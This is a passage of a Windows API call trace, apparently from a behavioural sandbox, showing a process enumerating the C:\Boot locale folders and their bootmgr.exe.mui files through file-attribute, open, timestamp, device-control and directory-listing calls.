dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0254.377] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.377] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.377] CreateFileW (lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0254.377] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.377] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x949690 [0254.377] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.377] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.377] NtClose (Handle=0x14c) returned 0x0 [0254.378] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.378] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.378] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eae8 [0254.378] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ea60 [0254.378] FindFirstFileExW (in: lpFileName="C:\\Boot\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.378] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.378] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.378] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.378] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.378] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.378] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.378] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.378] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x9442e0 [0254.378] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8fc70 [0254.378] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.378] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.378] GetLastError () returned 0x12 [0254.378] FindFirstFileExW (in: lpFileName="C:\\Boot\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.378] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.378] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.378] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.379] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.379] GetLastError () returned 0x12 [0254.379] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.379] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.379] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.379] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.379] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0254.379] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.379] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.450] CreateFileW (lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0254.451] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.451] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x949690 [0254.451] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.451] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.451] NtClose (Handle=0x188) returned 0x0 [0254.451] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.451] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.451] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eae8 [0254.451] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ea60 [0254.451] FindFirstFileExW (in: lpFileName="C:\\Boot\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.451] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.451] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.452] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.452] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.452] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.452] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.452] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.452] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x944300 [0254.452] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8fcf8 [0254.452] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.452] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.452] GetLastError () returned 0x12 [0254.452] FindFirstFileExW (in: lpFileName="C:\\Boot\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.452] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.452] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.452] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.452] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.452] GetLastError () returned 0x12 [0254.452] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.452] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.453] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.453] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.453] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0254.453] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.453] CreateFileW (lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0254.453] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.453] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.453] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.453] NtClose (Handle=0x14c) returned 0x0 [0254.453] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.453] FindFirstFileExW (in: lpFileName="C:\\Boot\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.454] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.454] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.454] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.454] GetLastError () returned 0x12 [0254.454] FindFirstFileExW (in: lpFileName="C:\\Boot\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.454] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.454] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.454] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.454] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.454] GetLastError () returned 0x12 [0254.454] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.454] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.454] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.454] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.454] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0254.454] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.506] CreateFileW (lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0254.507] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.507] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.508] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.508] NtClose (Handle=0x188) returned 0x0 [0254.509] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.509] FindFirstFileExW (in: lpFileName="C:\\Boot\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.509] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.509] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.514] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.514] GetLastError () returned 0x12 [0254.520] FindFirstFileExW (in: lpFileName="C:\\Boot\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.520] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.521] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.521] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.521] FindNextFileW (in: hFindFile=0x548fc0, 